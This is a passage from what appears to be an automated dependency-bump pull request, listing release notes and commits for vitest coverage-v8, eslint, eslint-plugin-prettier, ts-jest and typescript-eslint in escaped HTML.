--\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.12.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-prettier` from 5.5.6 to 5.5.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/releases\"\u003eeslint-plugin-prettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.5.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/796\"\u003e#796\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7e53ecd882fe6f0f74150cb0a539776b64182b3e\"\u003e\u003ccode\u003e7e53ecd\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/OskarEichler\"\u003e\u003ccode\u003e@​OskarEichler\u003c/code\u003e\u003c/a\u003e! - Fix fallback diagnostic locations for all supported line endings.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/805\"\u003e#805\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/1b7c43322ce0eb3ee7495d91481613d39d97af52\"\u003e\u003ccode\u003e1b7c433\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e! - Report a clear error when the sync worker fails to load, so a missing \u003ccode\u003eprettier\u003c/code\u003e dependency now fails fast with \u003ccode\u003eCannot find package 'prettier'\u003c/code\u003e instead of hanging ESLint indefinitely.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/truongbo17\"\u003e\u003ccode\u003e@​truongbo17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/798\"\u003eprettier/eslint-plugin-prettier#798\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OskarEichler\"\u003e\u003ccode\u003e@​OskarEichler\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/796\"\u003eprettier/eslint-plugin-prettier#796\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/compare/v5.5.6...v5.5.7\"\u003ehttps://github.com/prettier/eslint-plugin-prettier/compare/v5.5.6...v5.5.7\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/blob/main/CHANGELOG.md\"\u003eeslint-plugin-prettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.5.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/796\"\u003e#796\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7e53ecd882fe6f0f74150cb0a539776b64182b3e\"\u003e\u003ccode\u003e7e53ecd\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/OskarEichler\"\u003e\u003ccode\u003e@​OskarEichler\u003c/code\u003e\u003c/a\u003e! - Fix fallback diagnostic locations for all supported line endings.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/805\"\u003e#805\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/1b7c43322ce0eb3ee7495d91481613d39d97af52\"\u003e\u003ccode\u003e1b7c433\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e! - Report a clear error when the sync worker fails to load, so a missing \u003ccode\u003eprettier\u003c/code\u003e dependency now fails fast with \u003ccode\u003eCannot find package 'prettier'\u003c/code\u003e instead of hanging ESLint indefinitely.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/e6dd27a4e4015748b2e87c646be2c1a530789343\"\u003e\u003ccode\u003ee6dd27a\u003c/code\u003e\u003c/a\u003e chore: keep packageManager when cleaning package.json for release (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/808\"\u003e#808\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7544956b642d4e653c235d178432e4d60a312b6b\"\u003e\u003ccode\u003e7544956\u003c/code\u003e\u003c/a\u003e chore: release eslint-plugin-prettier (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/799\"\u003e#799\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/e3e52386bd8ab1604d4d41ecd961de5e6749eed8\"\u003e\u003ccode\u003ee3e5238\u003c/code\u003e\u003c/a\u003e ci: enable npm publish provenance for changesets v3 (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/807\"\u003e#807\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7c923c41069c939d6c6c8b7cfcad8f6a266f5276\"\u003e\u003ccode\u003e7c923c4\u003c/code\u003e\u003c/a\u003e build(deps): Bump http-cache-semantics from 4.2.0 to 4.3.0 (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/806\"\u003e#806\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/1b7c43322ce0eb3ee7495d91481613d39d97af52\"\u003e\u003ccode\u003e1b7c433\u003c/code\u003e\u003c/a\u003e fix: bump synckit to surface worker failures instead of hanging (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/805\"\u003e#805\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/a6b3feb3ce5d0bf785ddf4a83d24cf6a5c4bb902\"\u003e\u003ccode\u003ea6b3feb\u003c/code\u003e\u003c/a\u003e docs: explain line endings and \u003ccode\u003eendOfLine\u003c/code\u003e behavior (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/804\"\u003e#804\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/2f6ba1dca350a40857884103a7bf0e74b64901f7\"\u003e\u003ccode\u003e2f6ba1d\u003c/code\u003e\u003c/a\u003e ci: exercise the getLocFromIndex ponyfill on ESLint 9 (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/803\"\u003e#803\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/cf1d2c5cffb7520d28fe680603cc4906ada0816f\"\u003e\u003ccode\u003ecf1d2c5\u003c/code\u003e\u003c/a\u003e chore(deps): update (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/802\"\u003e#802\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/9f14a554f9737b1b985e2b26501d3bb2defac920\"\u003e\u003ccode\u003e9f14a55\u003c/code\u003e\u003c/a\u003e chore(deps): update all dependencies (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/788\"\u003e#788\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7e53ecd882fe6f0f74150cb0a539776b64182b3e\"\u003e\u003ccode\u003e7e53ecd\u003c/code\u003e\u003c/a\u003e fix: map fallback source locations to actual line starts (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/796\"\u003e#796\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/compare/v5.5.6...v5.5.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ts-jest` from 29.4.14 to 29.4.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/kulshekhar/ts-jest/releases\"\u003ets-jest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev29.4.15\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/kulshekhar/ts-jest/blob/main/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/kulshekhar/ts-jest/blob/main/CHANGELOG.md\"\u003ets-jest's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/compare/v29.4.14...v29.4.15\"\u003e29.4.15\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler:\u003c/strong\u003e resolve modules with tsconfig options regardless of cache state (\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/268746c0fcaf72476cebb348c5543e5c2aac3622\"\u003e268746c\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/kulshekhar/ts-jest/issues/5216\"\u003e#5216\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003esupport \u003ccode\u003e.cjs\u003c/code\u003e config files in \u003ccode\u003econfig:migrate\u003c/code\u003e (\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/4001b4e6d28aa461e7468f09157413e113f0bd92\"\u003e4001b4e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/kulshekhar/ts-jest/issues/4485\"\u003e#4485\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/197d4de96002589658d8a6c2d3b9b9554d17af6b\"\u003e\u003ccode\u003e197d4de\u003c/code\u003e\u003c/a\u003e chore(release): 29.4.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/ebad800d2c080cb72d7f0ea3225221b0cee066da\"\u003e\u003ccode\u003eebad800\u003c/code\u003e\u003c/a\u003e build(deps): update dependency node to v24.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/e5f6e986fe7c9e8115a7afe49ec9d5e8a576e93b\"\u003e\u003ccode\u003ee5f6e98\u003c/code\u003e\u003c/a\u003e test(compiler): clean up temp dirs from module resolution tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/77dbb184d5895f8e315d574971fc83ab6a8a43b2\"\u003e\u003ccode\u003e77dbb18\u003c/code\u003e\u003c/a\u003e test(compiler): make module resolution tests path-independent on Windows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/268746c0fcaf72476cebb348c5543e5c2aac3622\"\u003e\u003ccode\u003e268746c\u003c/code\u003e\u003c/a\u003e fix(compiler): resolve modules with tsconfig options regardless of cache state\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/15362016c490ae230c3d69f7a9399513d3600ed7\"\u003e\u003ccode\u003e1536201\u003c/code\u003e\u003c/a\u003e build(deps): update dependency vite to ^8.3.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/141e39c092759ca6173095fe2dd4ebcdd3117e62\"\u003e\u003ccode\u003e141e39c\u003c/code\u003e\u003c/a\u003e build(deps): update dependency \u003ccode\u003e@​babel/core\u003c/code\u003e to ^8.0.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/6a6686e5374525db09ac67f37cf0f2d53c372f28\"\u003e\u003ccode\u003e6a6686e\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump shell-quote from 1.10.0 to 1.12.0 in /examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/98e6e50fe934e8e86c903719048891a3a071a2b7\"\u003e\u003ccode\u003e98e6e50\u003c/code\u003e\u003c/a\u003e build(deps): bump proxy-addr from 2.0.7 to 2.0.8 in /website\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/d2439ff5ed9f6425bed60d0202f37771022f0526\"\u003e\u003ccode\u003ed2439ff\u003c/code\u003e\u003c/a\u003e build(deps): bump compression from 1.8.1 to 1.8.2 in /website\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/kulshekhar/ts-jest/compare/v29.4.14...v29.4.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.71.2 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca 